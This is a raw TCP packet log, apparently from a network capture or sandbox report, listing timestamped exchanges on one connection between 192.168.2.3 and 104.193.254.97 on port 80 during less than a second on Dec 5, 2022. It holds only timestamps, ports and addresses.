Dec 5, 2022 06:44:48.370779991 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.371459961 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.371511936 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.371541977 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.371573925 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.371701002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.371745110 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.371773958 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.371814966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.371834040 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.371855974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.371886969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.371928930 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.371928930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.371972084 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.372001886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.372050047 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.402144909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.402210951 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.402242899 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.402285099 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.402328014 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.402359009 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.402369022 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.402436972 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.407079935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407143116 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407176971 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407219887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407248020 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.407263994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407296896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407318115 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.407339096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407382965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407413006 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407444954 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.407454014 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407500982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407531023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407571077 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.407572985 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407614946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407644033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407676935 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.407686949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407728910 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407759905 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407788038 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.407803059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407845020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407875061 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.407923937 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.408010006 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.408051014 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.408082962 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.408102036 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.408128977 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.408169985 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.408199072 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.408229113 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.411725998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.411782980 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.411817074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.411855936 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.414638996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.414684057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.414714098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.414755106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.414797068 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.414822102 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.414827108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.414870977 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.415153027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.415198088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.415230036 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.415261030 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.415379047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.415421009 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.415452957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.415481091 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.415497065 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.415540934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.415570974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.415610075 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.472208023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.472278118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.472312927 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.472398996 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.559326887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.559391975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.559425116 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.559467077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.559484959 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.559511900 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.559549093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.559588909 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.559590101 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.559633970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.559664965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.559695959 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.563844919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.563905954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.563937902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.563977003 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.563980103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.564023972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.564059973 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.564116001 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.564680099 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.564723969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.564754009 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.564816952 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.564866066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.564909935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.564941883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.564985991 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.564995050 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.565027952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.565057993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.565087080 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.565099955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.565143108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.565172911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.565195084 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.590791941 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.590851068 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.590912104 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.590955019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.590989113 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.590996981 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.591028929 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.591098070 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.594111919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594176054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594208956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594249964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594253063 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.594291925 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594326019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594368935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594381094 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.594412088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594441891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594468117 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.594484091 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594530106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594558954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594589949 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.594602108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594646931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594676018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594717026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594729900 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.594758987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594789982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594831944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594840050 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.594897032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594947100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.594989061 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.595005989 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.595031977 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.595062017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.595102072 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.595113993 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.595144033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.595174074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.595232010 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.597371101 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.597430944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.597465038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.597532034 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.600147963 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.600193977 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.600228071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.600269079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.600275040 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.600311995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.600342989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.600372076 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.600532055 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.600577116 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.600605965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.600667000 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.600967884 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.601011038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.601042986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.601084948 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.601087093 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.601128101 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.601157904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.601231098 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.653934002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.654005051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.654041052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.654151917 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.734394073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.734460115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.734493971 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.734538078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.734580994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.734612942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.734638929 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.734656096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.734695911 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.734698057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.734729052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.734766006 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.738148928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.738209009 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.738240957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.738282919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.738301992 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.738325119 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.738357067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.738410950 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.739417076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.739463091 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.739495039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.739527941 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.739538908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.739582062 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.739612103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.739639044 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.739653111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.739696980 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.739727974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.739769936 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.739783049 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.739814997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.739844084 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.739896059 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.756871939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.756925106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.756958961 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.757000923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.757021904 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.757041931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.757082939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.757131100 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.760178089 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760241032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760274887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760310888 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.760322094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760365009 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760400057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760441065 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760443926 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.760482073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760514975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760540962 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.760559082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760601997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760633945 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760674953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760685921 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.760720015 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760750055 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760791063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760806084 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.760833025 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760863066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760905027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760916948 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.760947943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.760977030 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.761006117 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.761018038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.761064053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.761091948 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.761121035 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.761133909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.761177063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.761209011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.761267900 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.761531115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.761571884 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.761604071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.761636019 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.764004946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.764051914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.764082909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.764125109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.764127970 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.764168978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.764199972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.764230013 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.764312983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.764354944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.764385939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.764436007 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.764509916 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.764555931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.764585972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.764642954 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.764663935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.764708996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.764738083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.764787912 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.816601992 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.816688061 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.816734076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.816824913 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.898901939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.898935080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.898952007 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.898977041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.898996115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.899008036 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.899014950 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.899029016 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.899048090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.899053097 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.899061918 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.899096966 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.903398991 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.903428078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.903444052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.903462887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.903481007 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.903490067 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.903495073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.903529882 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.905225992 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.905250072 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.905265093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.905282021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.905299902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.905308962 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.905314922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.905352116 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.905459881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.905478954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.905493021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.905529022 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.905539989 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:48.905548096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:48.905561924 CET	80	49705	104.193.254.97	192.168.2.3
